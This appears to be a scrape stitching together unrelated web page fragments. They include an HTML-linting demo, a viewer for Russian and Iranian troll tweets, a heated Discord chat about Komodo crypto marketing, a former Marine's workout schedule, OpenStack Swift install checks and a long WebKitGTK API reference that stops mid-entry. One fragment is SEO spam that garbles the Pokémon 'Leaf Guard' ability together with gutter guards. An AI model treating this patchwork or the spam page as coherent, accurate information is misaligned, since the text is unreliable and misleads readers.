Linting HTML with CSS
From Ire Aderinokun's
article
.
I'm a div with inline styles.
Link with no href
Hash link only
Empty href
void link
Name
Text
Select
Option


Below are the most retweeted English tweets from the Twitter Elections Integrity Archive .
This data "...include[s] information from 3,841 accounts believed to be connected to the Russian Internet Research Agency, and 770 accounts believed to originate in Iran."
Each circle/pie represents a tweet. By manipulating the drop down menus below, you can alter how the accounts are displayed.
Things you can play with:
- Each drop-down has the following options, including ratios of the following:
- retweets: The total number of retweets for the tweet.
- followers: The total number of followers of the account.
- following: The total number of accounts the account is following.
- replies: The total number of replies for the tweet.
- likes: The total number of likes for the tweet.
- Enter multiple search terms (20 max) in the box to the left of the search button, one per line,
and click on the search button to search for those terms. The search is powered by Lunr.
- By hovering over each circle, additional details, including the tweet text is displayed.
- By clicking on a given tweet, all other tweets for that user are highlighted. Clicking outside the circles, but within the plot area, will reset the opacity.
Things to note:
- Please note that I have only tested this in Chrome.
- The color coding map for each term is displayed in the box on the right.
- Extremely common words like "the" and "to" have been removed.
- Words have been "stemmed" so that "walk" will hit on "walks" and "walking". Additionally, words like "organic" and "organization" hit on the common stem "organ", which can be confusing sometimes.
- Due to the large area of the display, I suggest using full screen mode.
- You might notice that each circle does not always line up with the corresponding
value on the axis. This is due to the "jitter" I have introduced in order to avoid the circles overlapping.
Otherwise many circles would overlap.


A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
hyperDEX08-Aug-19 07:26 AM
It is pretty sad that people cannot see logic and yet are so weak not to just sell due to their indecisiveness
If you think it will go down, sell. That is the only logical thing to do
coingirl8708-Aug-19 07:27 AM
How much is komodo fund for marketing?
hyperDEX08-Aug-19 07:27 AM
How much you fund or do to do marketing?
mrtzmp308-Aug-19 07:27 AM
@coingirl87 how much kmd for you to stop nagging all the time ?
coingirl8708-Aug-19 07:28 AM
I invest 32 btc into komodo
That was my fund
mrtzmp308-Aug-19 07:28 AM
Jesus
hyperDEX08-Aug-19 07:28 AM
Community marketing is more important than the team marketing, look at how selfish and short sighted you guys seem to be here.
There are many people with much more
coingirl8708-Aug-19 07:28 AM
So now you say i have nothing investband only compain?
1
hyperDEX08-Aug-19 07:28 AM
So how much time or effort or funds have you dedicated into promoting KMD?
If you do nothing but complain you are not helping yourself.
mrtzmp308-Aug-19 07:29 AM
You put 32 btc in and just hodl through all this alt rektage ???
hyperDEX08-Aug-19 07:29 AM
So i guess you dont want the price to rise
mrtzmp308-Aug-19 07:29 AM
Wow just wow
@coingirl87
weldon.gull508-Aug-19 07:29 AM
Treat everyone’s opinions as complaints~~ very good
hyperDEX08-Aug-19 07:30 AM
Opinions is fine, i welcome solutions. If you dont have solutions then why complain? Do something about it
coingirl8708-Aug-19 07:30 AM
I have no technical or dev skills thats why i invest 32 btc into komodo because i like jl777 and the ideas of him....i like and share each post in social networks
Thats all what i can do
hyperDEX08-Aug-19 07:30 AM
That is fine.  If you have no time but have money, help fund some dev stuff or set little bounties
mrtzmp308-Aug-19 07:31 AM
@coingirl87 lol then you still massively up ?
hyperDEX08-Aug-19 07:31 AM
The thing here is that, people say marketing is shit and do better marketing with little money, GIVE A SOLUTION instead of stating the obvious.
mrtzmp308-Aug-19 07:31 AM
At ico 32 btc
F hell
hyperDEX08-Aug-19 07:32 AM
If there was a magic button that the marketing team can press that said "GREAT marketing" and one that had "SHIT marketing" to determine the outcome, which one would they press?
coingirl8708-Aug-19 07:32 AM
I have no time because i work 6o hours a week...i spent all my money to komodo because i believe in it
hyperDEX08-Aug-19 07:32 AM
But yet you have time to complain
I do many more hours than that
coingirl8708-Aug-19 07:33 AM
Bit i dont like how things on marketing will handle
Thats why i compain
And team make jokes about it
hyperDEX08-Aug-19 07:33 AM
That is fine but you have stated a problem, what is the solution
coingirl8708-Aug-19 07:33 AM
But market reflect it with very bad performance
hyperDEX08-Aug-19 07:33 AM
I am not getting paid by the team, i am on here because i help out in other areas
Market price going down does not mean bad marketing.....
 Second and mostly it didn't drop as much as others because of rebrand buyers. Now there is a heavier sell off but it's still equal to others
@coingirl87
coingirl8708-Aug-19 07:40 AM
1 month i dont know but it seems equal
mrtzmp308-Aug-19 07:40 AM
Have you not noticed how all coins got rekt AF and kmd stayed somewhat cool
coingirl8708-Aug-19 07:40 AM
How can it be equal when performace soeak other words
mrtzmp308-Aug-19 07:40 AM
@coingirl87
Now it's kmd sell off time
Just donate your btc to Charity pls and be over with it
coingirl8708-Aug-19 07:41 AM
Why kmd is so much bot traiding?why thete is no demand and liquity for komodo
mrtzmp308-Aug-19 07:41 AM
You don't want to understand
coingirl8708-Aug-19 07:41 AM
These are questions for komodo marketink
I am not here to blane komodo
mrtzmp308-Aug-19 07:41 AM
It's a question for your psychatrist sorry
coingirl8708-Aug-19 07:42 AM
I am here to ask questions which based on facts
Thats all
mrtzmp308-Aug-19 07:42 AM
weldon.gull508-Aug-19 07:43 AM
nice!!
Facts, not sophistry
coingirl8708-Aug-19 07:44 AM
When you dont like my questions its ok but please dont ignored them
Becauae that are facts
I dont like people who said...all coins are down so no worry
But facts reflect that this is a lie
mrtzmp308-Aug-19 07:45 AM
Was marketing better in your opinion when kmd raised to 12 dollars ????
Answer this
@coingirl87
Was it anyway correlated to kmd rise
coingirl8708-Aug-19 07:46 AM
But to be honest...i will quit to ask and ask again
1
mrtzmp308-Aug-19 07:46 AM
@coingirl87
Answer
coingirl8708-Aug-19 07:46 AM
I am out
mrtzmp308-Aug-19 07:46 AM
Nonon
Just answer
What happened with marketing team it's still the same no ?


Here you can see our home page
Information for a new cookie stand
Location
Minimum no of cookies
Maximum no of cookies
Avg cookies Sales


Chapter 5
Chapter 5 explores The
HTTP module
in node.js.
Basic Hello World Server
Adding a response code and Header
Creating a redirect
Responding to more than one type of request
An HTTP client with node.js
Daemonising the HTTP client


Meter
Tone.Meter
gives you the level of the incoming signal (between 0-1). Values above 1 are clipping.


My love for working out and staying active started at a very young age. I was involved in many sports growing up and learning to play on a team with others was a great feeling. I love feeling that I am a part of something and that others count on me. At age 17, I made decision that would change my life forever.. I decided to join the United States Marine Corps!
Training for the Marines and while in, required a lot of physical and mental strength. I was a female in the Armed Forces, therefore, I had to prove that I could do what any man standing next to me could. Working out became my hobby, it helped me to become stronger not just physically but mentally as well. It gave me courage, pushed me to my limits, and awarded me for my success.
I worked very hard throughout my training learning the science behind muscles, cells, and our body. Five years passed and I landed back in the States after being stationed in Japan, Korea, Guam, and other countries. I continued working out and many women would look up to me and ask for advice. My greatest accomplishment is that I was able to help other women understand the biology of their bodies and train them. I taught them that it is not all about how we look, but that we fall in love with ourselves, accept ourselves, and pass that message on to younger women growing up.
Today, my training schedule is very different from when I was training full time in the Marines. I now have a four year old boy, a three year old German Shepard, I am a full time student, and I work full time. The good thing about having a hobby is that somehow and someway I will find a way to do it for my own mental health. The table below describes how I would schedule my week.
| Day | Time | Workout |
|---|---|---|
| Monday | 4:45am | Legs |
| Tuesday | 4:45am | Arms |
| Wednesday | 4:45am | Back |
| Thursday | 4:45am | Legs |
| Friday | Rest | Rest |
| Saturday | 7:00am | Chest & Shoulders |
| Sunday | 7:00am | Legs |
Do you want to get started and not know how to begin? Below are a couple exercises you can do and research!


Data Structures | |
| struct | VCP2_PID |
| struct | VCP2_ConfigIc |
| struct | VCP2_Params |
| struct | VCP2_BaseParams |
| struct | VCP2_Errors |
| struct | VCP2_Poly |
| struct | VCP2BaseAddress |
| struct | VCP2Obj_s |
Typedefs | |
| typedef Uint32 | VCP2_Rate |
| typedef struct VCP2Obj_s | VCP2Obj |
| typedef struct VCP2Obj_s * | VCP2Handle |
| typedef Uint32 VCP2_Rate |
VCP code rate type
| typedef struct VCP2Obj_s* VCP2Handle |
This is a pointer to Vcp2Obj and is passed as the first parameter to all VCP2 CSL APIs


---
title: "24+ What Is Leaf Guard US"
description: "If you look for a review of best gutter guard company, we got you covered."
date: "2018-07-19"
categories:
- "bay"
images:
- "http://4.bp.blogspot.com/_J0VH9fn17DM/TIwXDgwLEPI/AAAAAAAAAHs/0yMyeqR6VIY/s400/leaf-solution-gutter-guards[1].jpg"
featuredImage: "http://www.neiltortorella.com/images/gutter-leaf-guards-2063-gutter-leafguard-reviews-648-x-484.jpg"
featured_image: "https://www.harleyexteriors.com/wp-content/uploads/2014/04/LeafX-endcap-lenghth-view-1.jpg"
image: "https://www.priceyourjob.co.uk/jobimages/gutterleafguard.jpg"
---
24+ What Is Leaf Guard US. Leaf guard prevents the bearer from succumbing to major status ailments (sleep, burns, poisoning, paralysis or freezing) during sunny weather. Leaf guard is one of the many abilities that are inheritable by pokémon.
Are you having issues with your leaf guards? Over the past few years, leaf guard gutter installation has become a debate among homeowners and roofing contractors. Click show more for more information, contact information, and update notes.
Includes leaf guard effects, how to get hidden ability, & pokemon that can learn!
However, installing gutter leaf guards can be. Pokémon that can have the leaf guard ability Do leaf guard gutters really work? Translation of leaf guard in russian.


Verifying the installation (example)¶
To verify the installation of stand-alone Object Storage for RPCO, run the following commands from the proxy server or any server that has access to Identity (keystone).
Ensure that the credentials are set correctly in the
/root/openrc
file and then source it:$ source /root/openrc
Run the following command:
$ swift stat Account: AUTH_11b9758b7049476d9b48f7a91ea11493 Containers: 0 Objects: 0 Bytes: 0 Content-Type: text/plain; charset=utf-8 X-Timestamp:<PHONE_NUMBER>.83760 X-Trans-Id: txdcdd594565214fb4a2d33-0052570383 X-Put-Timestamp:<PHONE_NUMBER>.83760
Run the following commands to upload files to a container. Create the
test.txt
andtest2.txt
test files locally if needed (they can contain anything).$ swift upload myfiles test.txt $ swift upload myfiles test2.txt
Run the following command to download all files from the
myfiles
container:$ swift download myfiles test2.txt [headers 0.267s, total 0.267s, 0.000s MB/s] test.txt [headers 0.271s, total 0.271s, 0.000s MB/s]
If the files download successfully, Object Storage has been installed.


{% extends 'base copy.html' %} {% load static %} {% block content%}
Try This Option If You Have Just Press I Have .
Description :{{item.description}}


| WebKitGTK+ Reference Manual | ||||
|---|---|---|---|---|
| Top | Description | Object Hierarchy | Implemented Interfaces | Properties | Signals |
enum WebKitNavigationResponse; enum WebKitWebViewTargetInfo; enum WebKitWebViewViewMode; WebKitWebView; gboolean webkit_web_view_can_copy_clipboard (WebKitWebView *web_view
); gboolean webkit_web_view_can_cut_clipboard (WebKitWebView *web_view
); gboolean webkit_web_view_can_go_back (WebKitWebView *web_view
); gboolean webkit_web_view_can_go_back_or_forward (WebKitWebView *web_view
,gint steps
); gboolean webkit_web_view_can_go_forward (WebKitWebView *web_view
); gboolean webkit_web_view_can_paste_clipboard (WebKitWebView *web_view
); gboolean webkit_web_view_can_redo (WebKitWebView *web_view
); gboolean webkit_web_view_can_show_mime_type (WebKitWebView *web_view
,const gchar *mime_type
); gboolean webkit_web_view_can_undo (WebKitWebView *web_view
); void webkit_web_view_copy_clipboard (WebKitWebView *web_view
); void webkit_web_view_cut_clipboard (WebKitWebView *web_view
); void webkit_web_view_delete_selection (WebKitWebView *web_view
); void webkit_web_view_execute_script (WebKitWebView *web_view
,const gchar *script
); WebKitWebBackForwardList * webkit_web_view_get_back_forward_list (WebKitWebView *web_view
); GtkTargetList * webkit_web_view_get_copy_target_list (WebKitWebView *web_view
); const char * webkit_web_view_get_custom_encoding (WebKitWebView *web_view
); WebKitDOMDocument * webkit_web_view_get_dom_document (WebKitWebView *web_view
); gboolean webkit_web_view_get_editable (WebKitWebView *web_view
); const gchar * webkit_web_view_get_encoding (WebKitWebView *web_view
); WebKitWebFrame * webkit_web_view_get_focused_frame (WebKitWebView *web_view
); gboolean webkit_web_view_get_full_content_zoom (WebKitWebView *web_view
); WebKitHitTestResult * webkit_web_view_get_hit_test_result (WebKitWebView *web_view
,GdkEventButton *event
); GdkPixbuf * webkit_web_view_get_icon_pixbuf (WebKitWebView *web_view
); const gchar * webkit_web_view_get_icon_uri (WebKitWebView *web_view
); WebKitWebInspector * webkit_web_view_get_inspector (WebKitWebView *web_view
); WebKitLoadStatus webkit_web_view_get_load_status (WebKitWebView *web_view
); WebKitWebFrame * webkit_web_view_get_main_frame (WebKitWebView *web_view
); GtkTargetList * webkit_web_view_get_paste_target_list (WebKitWebView *web_view
); gdouble webkit_web_view_get_progress (WebKitWebView *web_view
); WebKitWebSettings * webkit_web_view_get_settings (WebKitWebView *web_view
); const gchar * webkit_web_view_get_title (WebKitWebView *web_view
); gboolean webkit_web_view_get_transparent (WebKitWebView *web_view
); const gchar * webkit_web_view_get_uri (WebKitWebView *web_view
); WebKitWebViewViewMode webkit_web_view_get_view_mode (WebKitWebView *web_view
); gboolean webkit_web_view_get_view_source_mode (WebKitWebView *web_view
); WebKitViewportAttributes * webkit_web_view_get_viewport_attributes (WebKitWebView *web_view
); gfloat webkit_web_view_get_zoom_level (WebKitWebView *web_view
); void webkit_web_view_go_back (WebKitWebView *web_view
); void webkit_web_view_go_back_or_forward (WebKitWebView *web_view
,gint steps
); void webkit_web_view_go_forward (WebKitWebView *web_view
); gboolean webkit_web_view_go_to_back_forward_item (WebKitWebView *web_view
,WebKitWebHistoryItem *item
); gboolean webkit_web_view_has_selection (WebKitWebView *web_view
); void webkit_web_view_load_html_string (WebKitWebView *web_view
,const gchar *content
,const gchar *base_uri
); void webkit_web_view_load_request (WebKitWebView *web_view
,WebKitNetworkRequest *request
); void webkit_web_view_load_string (WebKitWebView *web_view
,const gchar *content
,const gchar *mime_type
,const gchar *encoding
,const gchar *base_uri
); void webkit_web_view_load_uri (WebKitWebView *web_view
,const gchar *uri
); guint webkit_web_view_mark_text_matches (WebKitWebView *web_view
,const gchar *string
,gboolean case_sensitive
,guint limit
); void webkit_web_view_move_cursor (WebKitWebView *web_view
,GtkMovementStep step
,gint count
); GtkWidget * webkit_web_view_new (void
); void webkit_web_view_open (WebKitWebView *web_view
,const gchar *uri
); void webkit_web_view_paste_clipboard (WebKitWebView *web_view
); void webkit_web_view_redo (WebKitWebView *web_view
); void webkit_web_view_reload (WebKitWebView *web_view
); void webkit_web_view_reload_bypass_cache (WebKitWebView *web_view
); gboolean webkit_web_view_search_text (WebKitWebView *web_view
,const gchar *text
,gboolean case_sensitive
,gboolean forward
,gboolean wrap
); void webkit_web_view_select_all (WebKitWebView *web_view
); void webkit_web_view_set_custom_encoding (WebKitWebView *web_view
,const gchar *encoding
); void webkit_web_view_set_editable (WebKitWebView *web_view
,gboolean flag
); void webkit_web_view_set_full_content_zoom (WebKitWebView *web_view
,gboolean full_content_zoom
); void webkit_web_view_set_highlight_text_matches (WebKitWebView *web_view
,gboolean highlight
); void webkit_web_view_set_maintains_back_forward_list (WebKitWebView *web_view
,gboolean flag
); void webkit_web_view_set_settings (WebKitWebView *web_view
,WebKitWebSettings *settings
); void webkit_web_view_set_transparent (WebKitWebView *web_view
,gboolean flag
); void webkit_web_view_set_view_mode (WebKitWebView *web_view
,WebKitWebViewViewMode mode
); void webkit_web_view_set_view_source_mode (WebKitWebView *web_view
,gboolean view_source_mode
); void webkit_web_view_set_zoom_level (WebKitWebView *web_view
,gfloat zoom_level
); void webkit_web_view_stop_loading (WebKitWebView *web_view
); GdkPixbuf * webkit_web_view_try_get_favicon_pixbuf (WebKitWebView *web_view
,guint width
,guint height
); void webkit_web_view_undo (WebKitWebView *web_view
); void webkit_web_view_unmark_text_matches (WebKitWebView *web_view
); void webkit_web_view_zoom_in (WebKitWebView *web_view
); void webkit_web_view_zoom_out (WebKitWebView *web_view
); WebKitWebWindowFeatures * webkit_web_view_get_window_features (WebKitWebView *web_view
);
WebKitWebView implements AtkImplementorIface, GtkBuildable and GtkScrollable.
"copy-target-list" GtkTargetList* : Read "custom-encoding" gchar* : Read / Write "editable" gboolean : Read / Write "encoding" gchar* : Read "full-content-zoom" gboolean : Read / Write "icon-uri" gchar* : Read "im-context" GtkIMContext* : Read "load-status" WebKitLoadStatus : Read "paste-target-list" GtkTargetList* : Read "progress" gdouble : Read "self-scrolling" gboolean : Read / Write / Construct Only "settings" WebKitWebSettings* : Read / Write "title" gchar* : Read "transparent" gboolean : Read / Write "uri" gchar* : Read "view-mode" WebKitWebViewViewMode : Read / Write "viewport-attributes" WebKitViewportAttributes* : Read "web-inspector" WebKitWebInspector* : Read "window-features" WebKitWebWindowFeatures* : Read / Write "zoom-level" gfloat : Read / Write
"close-web-view" :Run Last
"console-message" :Run Last
"copy-clipboard" :Action
"create-plugin-widget" :Action
"create-web-view" :Run Last
"cut-clipboard" :Action
"database-quota-exceeded" :Action
"document-load-finished" :Action
"download-requested" :Run Last
"editing-began" :Action
"editing-ended" :Action
"frame-created" :Action
"geolocation-policy-decision-cancelled" :Run Last
"geolocation-policy-decision-requested" :Run Last
"hovering-over-link" :Run Last
"icon-loaded" :Run Last
"load-committed" :Run Last
"load-error" :Run Last
"load-finished" :Run Last
"load-progress-changed" :Run Last
"load-started" :Run Last
"mime-type-policy-decision-requested" :Run Last
"move-cursor" :Action
"navigation-policy-decision-requested" :Run Last
"navigation-requested" :Run Last
"new-window-policy-decision-requested" :Run Last
"onload-event" :Run Last
"paste-clipboard" :Action
"populate-popup" :Run Last
"print-requested" :Run Last
"redo" :Action
"resource-content-length-received" :Run Last
"resource-load-failed" :Run Last
"resource-load-finished" :Run Last
"resource-request-starting" :Action
"resource-response-received" :Run Last
"script-alert" :Run Last
"script-confirm" :Run Last
"script-prompt" :Run Last
"select-all" :Action
"selection-changed" :Action
"should-apply-style" :Action
"should-begin-editing" :Action
"should-change-selected-range" :Action
"should-delete-range" :Action
"should-end-editing" :Action
"should-insert-node" :Action
"should-insert-text" :Action
"should-show-delete-interface-for-element" :Action
"status-bar-text-changed" :Run Last
"title-changed" :Run Last
"undo" :Action
"user-changed-contents" :Action
"viewport-attributes-changed" :Action
"viewport-attributes-recompute-requested" :Action
"web-view-ready" :Run Last
"window-object-cleared" :Run Last
WebKitWebView is the central class of the WebKitGTK+ API. It is a GtkWidget implementing the scrolling interface which means you can embed in a GtkScrolledWindow. It is responsible for managing the drawing of the content, forwarding of events. You can load any URI into the WebKitWebView or any kind of data string. With WebKitWebSettings you can control various aspects of the rendering and loading of the content. Each WebKitWebView has exactly one WebKitWebFrame as main frame. A WebKitWebFrame can have n children.
/* Create the widgets */ GtkWidget *main_window = gtk_window_new (GTK_WINDOW_TOPLEVEL); GtkWidget *scrolled_window = gtk_scrolled_window_new (NULL, NULL); GtkWidget *web_view = webkit_web_view_new (); /* Place the WebKitWebView in the GtkScrolledWindow */ gtk_container_add (GTK_CONTAINER (scrolled_window), web_view); gtk_container_add (GTK_CONTAINER (main_window), scrolled_window); /* Open a webpage */ webkit_web_view_load_uri (WEBKIT_WEB_VIEW (web_view), "http://www.gnome.org"); /* Show the result */ gtk_window_set_default_size (GTK_WINDOW (main_window), 800, 600); gtk_widget_show_all (main_window);
typedef enum { WEBKIT_NAVIGATION_RESPONSE_ACCEPT, WEBKIT_NAVIGATION_RESPONSE_IGNORE, WEBKIT_NAVIGATION_RESPONSE_DOWNLOAD } WebKitNavigationResponse;
Enum values used to denote the various responses to a navigation policy decision.
typedef enum { WEBKIT_WEB_VIEW_TARGET_INFO_HTML, WEBKIT_WEB_VIEW_TARGET_INFO_TEXT, WEBKIT_WEB_VIEW_TARGET_INFO_IMAGE, WEBKIT_WEB_VIEW_TARGET_INFO_URI_LIST, WEBKIT_WEB_VIEW_TARGET_INFO_NETSCAPE_URL } WebKitWebViewTargetInfo;
Enum values used to denote the info value of various selection types. These can be used to interpret the data WebKitGTK+ publishes via GtkClipboard and drag-and-drop.
typedef enum { WEBKIT_WEB_VIEW_VIEW_MODE_WINDOWED, WEBKIT_WEB_VIEW_VIEW_MODE_FLOATING, WEBKIT_WEB_VIEW_VIEW_MODE_FULLSCREEN, WEBKIT_WEB_VIEW_VIEW_MODE_MAXIMIZED, WEBKIT_WEB_VIEW_VIEW_MODE_MINIMIZED } WebKitWebViewViewMode;
Enum values used to denote the various types of view modes. See the "view-mode" property.
gboolean webkit_web_view_can_copy_clipboard (WebKitWebView *web_view
);
Determines whether or not it is currently possible to copy to the clipboard.
|
a WebKitWebView |
Returns : |
TRUE if a selection can be copied, FALSE if not |
gboolean webkit_web_view_can_cut_clipboard (WebKitWebView *web_view
);
Determines whether or not it is currently possible to cut to the clipboard.
|
a WebKitWebView |
Returns : |
TRUE if a selection can be cut, FALSE if not |
gboolean webkit_web_view_can_go_back (WebKitWebView *web_view
);
Determines whether web_view has a previous history item.
|
a WebKitWebView |
Returns : |
TRUE if able to move back, FALSE otherwise |
gboolean webkit_web_view_can_go_back_or_forward (WebKitWebView *web_view
,gint steps
);
Determines whether web_view has a history item of steps
. Negative values
represent steps backward while positive values represent steps forward.
|
a WebKitWebView |
|
the number of steps |
Returns : |
TRUE if able to move back or forward the given number of
steps, FALSE otherwise |
gboolean webkit_web_view_can_go_forward (WebKitWebView *web_view
);
Determines whether web_view has a next history item.
|
a WebKitWebView |
Returns : |
TRUE if able to move forward, FALSE otherwise |
gboolean webkit_web_view_can_paste_clipboard (WebKitWebView *web_view
);
Determines whether or not it is currently possible to paste from the clipboard.
|
a WebKitWebView |
Returns : |
TRUE if a selection can be pasted, FALSE if not |
gboolean webkit_web_view_can_redo (WebKitWebView *web_view
);
Determines whether or not it is currently possible to redo the last editing command in the view.
|
a WebKitWebView |
Returns : |
TRUE if a redo can be done, FALSE if not |
Since 1.1.14
gboolean webkit_web_view_can_show_mime_type (WebKitWebView *web_view
,const gchar *mime_type
);
This functions returns whether or not a MIME type can be displayed using this view.
|
a WebKitWebView |
|
a MIME type |
Returns : |
a gboolean indicating if the MIME type can be displayed |
Since 1.0.3
gboolean webkit_web_view_can_undo (WebKitWebView *web_view
);
Determines whether or not it is currently possible to undo the last editing command in the view.
|
a WebKitWebView |
Returns : |
TRUE if a undo can be done, FALSE if not |
Since 1.1.14
void webkit_web_view_copy_clipboard (WebKitWebView *web_view
);
Copies the current selection inside the web_view
to the clipboard.
|
a WebKitWebView |
void webkit_web_view_cut_clipboard (WebKitWebView *web_view
);
Cuts the current selection inside the web_view
to the clipboard.
|
a WebKitWebView |
void webkit_web_view_delete_selection (WebKitWebView *web_view
);
Deletes the current selection inside the web_view
.
|
a WebKitWebView |
void webkit_web_view_execute_script (WebKitWebView *web_view
,const gchar *script
);
WebKitWebBackForwardList * webkit_web_view_get_back_forward_list
(WebKitWebView *web_view
);
Obtains the WebKitWebBackForwardList associated with the given WebKitWebView. The WebKitWebBackForwardList is owned by the WebKitWebView.
|
a WebKitWebView |
Returns : |
the WebKitWebBackForwardList. [transfer none] |
GtkTargetList * webkit_web_view_get_copy_target_list
(WebKitWebView *web_view
);
This function returns the list of targets this WebKitWebView can
provide for clipboard copying and as DND source. The targets in the list are
added with values from the WebKitWebViewTargetInfo enum,
using gtk_target_list_add()
and
gtk_target_list_add_text_targets()
.
|
a WebKitWebView |
Returns : |
the GtkTargetList |
const char * webkit_web_view_get_custom_encoding (WebKitWebView *web_view
);
Returns the current encoding of the WebKitWebView, not the default-encoding of WebKitWebSettings.
|
a WebKitWebView |
Returns : |
a string containing the current custom encoding for web_view , or NULL if there's none set. |
Since 1.1.1
WebKitDOMDocument * webkit_web_view_get_dom_document (WebKitWebView *web_view
);
|
a WebKitWebView |
Returns : |
the WebKitDOMDocument currently loaded in the web_view . [transfer none]
|
Since 1.3.1
gboolean webkit_web_view_get_editable (WebKitWebView *web_view
);
Returns TRUE
if web_view
allows the user to edit the HTML document, FALSE
if
it doesn't. You can change web_view
's document programmatically regardless of
this setting.
|
a WebKitWebView |
Returns : |
a gboolean indicating the editable state |
const gchar * webkit_web_view_get_encoding (WebKitWebView *web_view
);
Returns the default encoding of the WebKitWebView.
|
a WebKitWebView |
Returns : |
the default encoding |
Since 1.1.1
WebKitWebFrame * webkit_web_view_get_focused_frame (WebKitWebView *web_view
);
Returns the frame that has focus or an active text selection.
|
a WebKitWebView |
Returns : |
The focused WebKitWebFrame or NULL if no frame is focused. [transfer none]
|
gboolean webkit_web_view_get_full_content_zoom
(WebKitWebView *web_view
);
Returns whether the zoom level affects only text or all elements.
|
a WebKitWebView |
Returns : |
FALSE if only text should be scaled (the default),
TRUE if the full content of the view should be scaled. |
Since 1.0.1
WebKitHitTestResult * webkit_web_view_get_hit_test_result (WebKitWebView *web_view
,GdkEventButton *event
);
Does a 'hit test' in the coordinates specified by event
to figure
out context information about that position in the web_view
.
|
a WebKitWebView |
|
a GdkEventButton |
Returns : |
a newly created WebKitHitTestResult with the context of the specified position. [transfer full] |
Since 1.1.15
GdkPixbuf * webkit_web_view_get_icon_pixbuf (WebKitWebView *web_view
);
webkit_web_view_get_icon_pixbuf
has been deprecated since version 1.8 and should not be used in newly-written code. Use webkit_web_view_try_get_favicon_pixbuf()
instead.
Obtains a GdkPixbuf of the favicon for the given WebKitWebView, or
a default icon if there is no icon for the given page. Use
webkit_web_view_get_icon_uri()
if you need to distinguish these cases.
Usually you want to connect to WebKitWebView::icon-loaded and call this
method in the callback.
The pixbuf will have the largest size provided by the server and should
be resized before it is displayed.
See also webkit_icon_database_get_icon_pixbuf()
.
|
the WebKitWebView object |
Returns : |
a new reference to a GdkPixbuf, or NULL . [transfer full]
|
Since 1.3.13
const gchar * webkit_web_view_get_icon_uri (WebKitWebView *web_view
);
Obtains the URI for the favicon for the given WebKitWebView, or
NULL
if there is none.
|
the WebKitWebView object |
Returns : |
the URI for the favicon, or NULL
|
Since 1.1.18
WebKitWebInspector * webkit_web_view_get_inspector (WebKitWebView *web_view
);
Obtains the WebKitWebInspector associated with the WebKitWebView. Every WebKitWebView object has a WebKitWebInspector object attached to it as soon as it is created, so this function will only return NULL if the argument is not a valid WebKitWebView.
|
a WebKitWebView |
Returns : |
the WebKitWebInspector instance. [transfer none] |
Since 1.0.3
WebKitLoadStatus webkit_web_view_get_load_status (WebKitWebView *web_view
);
Determines the current status of the load.
|
a WebKitWebView |
Returns : |
a WebKitLoadStatus specifying the status of the current load |
Since 1.1.7
WebKitWebFrame * webkit_web_view_get_main_frame (WebKitWebView *web_view
);
Returns the main frame for the web_view
.
|
a WebKitWebView |
Returns : |
the main WebKitWebFrame for web_view . [transfer none]
|
GtkTargetList * webkit_web_view_get_paste_target_list
(WebKitWebView *web_view
);
This function returns the list of targets this WebKitWebView can
provide for clipboard pasting and as DND destination. The targets in the list are
added with values from the WebKitWebViewTargetInfo enum,
using gtk_target_list_add()
and
gtk_target_list_add_text_targets()
.
|
a WebKitWebView |
Returns : |
the GtkTargetList |
gdouble webkit_web_view_get_progress (WebKitWebView *web_view
);
Determines the current progress of the load.
|
a WebKitWebView |
Returns : |
a gdouble representing the status of the current load. This value will be in the range [0, 1]. |
Since 1.1.7
WebKitWebSettings * webkit_web_view_get_settings (WebKitWebView *web_view
);
Obtains the WebKitWebSettings associated with the WebKitWebView. The WebKitWebView always has an associated instance of WebKitWebSettings. The reference that is returned by this call is owned by the WebKitWebView. You may need to increase its reference count if you intend to keep it alive for longer than the WebKitWebView.
|
a WebKitWebView |
Returns : |
the WebKitWebSettings instance. [transfer none] |
const gchar * webkit_web_view_get_title (WebKitWebView *web_view
);
Returns the web_view
's document title
|
a WebKitWebView |
Returns : |
the title of web_view
|
Since 1.1.4
gboolean webkit_web_view_get_transparent (WebKitWebView *web_view
);
Returns whether the WebKitWebView has a transparent background.
|
a WebKitWebView |
Returns : |
FALSE when the WebKitWebView draws a solid background
(the default), otherwise TRUE . |
const gchar * webkit_web_view_get_uri (WebKitWebView *web_view
);
Returns the current URI of the contents displayed by the web_view
|
a WebKitWebView |
Returns : |
the URI of web_view
|
Since 1.1.4
WebKitWebViewViewMode webkit_web_view_get_view_mode (WebKitWebView *web_view
);
Gets the value of the view-mode property of the WebKitWebView. Check the property's documentation for more information.
|
the WebKitWebView to obtain the view mode from |
Returns : |
the WebKitWebViewViewMode currently set for the
WebKitWebView. |
Since 1.3.4
gboolean webkit_web_view_get_view_source_mode
(WebKitWebView *web_view
);
|
a WebKitWebView |
Returns : |
TRUE if web_view is in view source mode, FALSE otherwise. |
Since 1.1.14
WebKitViewportAttributes * webkit_web_view_get_viewport_attributes
(WebKitWebView *web_view
);
Obtains the WebKitViewportAttributes associated with the WebKitWebView. Every WebKitWebView object has a WebKitViewportAttributes object attached to it as soon as it is created, so this function will only return NULL if the argument is not a valid WebKitWebView. Do note however that the viewport attributes object only contains valid information when the current page has a viewport meta tag. You can check whether the data should be used by checking the "valid" property.
|
a WebKitWebView |
Returns : |
the WebKitViewportAttributes instance. [transfer none] |
Since 1.3.8
gfloat webkit_web_view_get_zoom_level (WebKitWebView *web_view
);
Returns the zoom level of web_view
, i.e. the factor by which elements in
the page are scaled with respect to their original size.
If the "full-content-zoom" property is set to FALSE
(the default)
the zoom level changes the text size, or if TRUE
, scales all
elements in the page.
|
a WebKitWebView |
Returns : |
the zoom level of web_view
|
Since 1.0.1
void webkit_web_view_go_back (WebKitWebView *web_view
);
Loads the previous history item.
|
a WebKitWebView |
void webkit_web_view_go_back_or_forward (WebKitWebView *web_view
,gint steps
);
Loads the history item that is the number of steps
away from the current
item. Negative values represent steps backward while positive values
represent steps forward.
|
a WebKitWebView |
|
the number of steps |
void webkit_web_view_go_forward (WebKitWebView *web_view
);
Loads the next history item.
|
a WebKitWebView |
gboolean webkit_web_view_go_to_back_forward_item (WebKitWebView *web_view
,WebKitWebHistoryItem *item
);
Go to the specified WebKitWebHistoryItem
|
a WebKitWebView |
|
a WebKitWebHistoryItem* |
Returns : |
TRUE if loading of item is successful, FALSE if not |
gboolean webkit_web_view_has_selection (WebKitWebView *web_view
);
Determines whether text was selected.
|
a WebKitWebView |
Returns : |
TRUE if there is selected text, FALSE if not |
void webkit_web_view_load_html_string (WebKitWebView *web_view
,const gchar *content
,const gchar *base_uri
);
webkit_web_view_load_html_string
